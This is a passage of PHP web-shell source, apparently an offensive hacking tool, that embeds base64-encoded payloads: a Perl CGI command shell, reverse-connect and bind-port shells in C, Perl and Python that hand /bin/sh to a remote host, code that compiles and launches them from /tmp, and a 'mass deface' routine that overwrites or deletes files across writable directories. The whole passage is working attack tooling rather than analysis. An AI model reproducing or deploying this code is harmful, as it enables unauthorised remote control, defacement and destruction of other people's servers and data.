Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGRvbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDU+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgT3BlbiBTYW5zO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IE9wZW4gU2Fucztjb2xvcjogI2ZmZmZmZjsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJcHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==";\r\n\t$cgi = fopen($file_cgi, "w");\r\n\tfwrite($cgi, base64_decode($cgi_script));\r\n\tfwrite($htcgi, $isi_htcgi);\r\n\tchmod($file_cgi, 0755);\r\n        chmod($memeg, 0755);\r\n\techo "<br><center>Done ... <a href=\'priv_cgi/cgi.priv\' target=\'_blank\'>Click Here</a></div>";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Tools</h1><div class=content><br>";\r\n\r\n\techo "<br><center> <iframe frameBorder=0 src=\'?mas\' width=\'800\' height=\'450\'></iframe></a></div>";\r\n\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>\r\n\t</form><br>";\r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$asciifnc7 = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$asciifnc7 .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$asciifnc7 = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$asciifnc7 = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$asciifnc7 .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$asciifnc7 = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcpy\') {\r\n\t\t\tcf("/tmp/bc.py",$back_connect_p);\r\n\t\t\t$asciifnc7 = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bc.py")."</pre>";\r\n          }\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END\r\n\r\n\r\nif (isset($_REQUEST[\'mas\'])) {\r\n\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\necho "<center><form action=\\"\\" method=\\"post\\"> ";\r\nfunction edit_file($file, $index) {\r\n    if (is_writable($file)) {\r\n        clear_fill($file, $index);\r\n        echo "<Span style=\'color:green;\'><strong> [+] Done 100% Successfull </strong></span><br></center>";\r\n    } else {\r\n        echo "<Span style=\'color:red;\'><strong> [-] Failed :( </strong></span><br></center>";\r\n    }\r\n}\r\nfunction hapus_Massal($dir, $namafile) {\r\n    if (is_writable($dir)) {\r\n        $dira = scandir($dir);\r\n        foreach ($dira as $dirb) {\r\n            $dirc = "$dir/$dirb";\r\n            $lokasi = $dirc . \'/\' . $namafile;\r\n            if ($dirb === \'.\') {\r\n                if (file_exists("$dir/$namafile")) {\r\n                    unlink("$dir/$namafile");\r\n                }\r\n            } elseif ($dirb === \'..\') {\r\n                if (file_exists("" . dirname($dir) . "/$namafile")) {\r\n                    unlink("" . dirname($dir) . "/$namafile");\r\n                }\r\n            } else {\r\n                if (is_dir($dirc)) {\r\n                    if (is_writable($dirc)) {\r\n                        if (file_exists($lokasi)) {\r\n                            echo "[<font color=red>DELETED</font>] $lokasi<br>";\r\n                            unlink($lokasi);\r\n                            $idx = hapus_Massal($dirc, $namafile);\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nfunction clear_fill($file, $index) {\r\n    if (file_exists($file)) {\r\n        $handle = fopen($file, \'w\');\r\n        fwrite($handle, \'\');\r\n        fwrite($handle, $index);\r\n        fclose($handle);\r\n    }\r\n}\r\nfunction gass() {\r\n    global $dirr, $index;\r\n    chdir($dirr);\r\n    $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);\r\n    $files = scandir($dirr);\r\n    $notallow = array(".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config", "..", ".");\r\n    sort($files);\r\n    $n = 0;\r\n    foreach ($files as $file) {\r\n        if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {\r\n            echo "<center><Span style=\'color: #8A8A8A;\'><strong>$dirr/</span>$file</strong> ====> ";\r\n            edit_file($file, $index);\r\n            flush();\r\n            $n = $n + 1;\r\n        }\r\n    }\r\n    echo "<br>";\r\n    echo "<center><br><h3>$n Files Defaced </h3></center><br> ";\r\n}\r\nfunction ListFiles($dirrall) {\r\n    if ($dh = opendir($dirrall)) {\r\n        $files = Array();\r\n        $inner_files = Array();\r\n        $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);\r\n        $notallow = array($me, ".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config");\r\n        while ($file = readdir($dh)) {\r\n            if ($file != "." && $file != ".." && $file[0] != \'.\' && !in_array($file, $notallow)) {\r\n                if (is_dir($dirrall . "/" . $file)) {\r\n                    $inner_files = ListFiles($dirrall . "/" . $file);\r\n                    if (is_array($inner_files)) $files = array_merge($files, $inner_files);\r\n                } else {\r\n                    array_push($files, $dirrall . "/" . $file);\r\n                }\r\n            }\r\n        }\r\n        closedir($dh);\r\n        return $files;\r\n    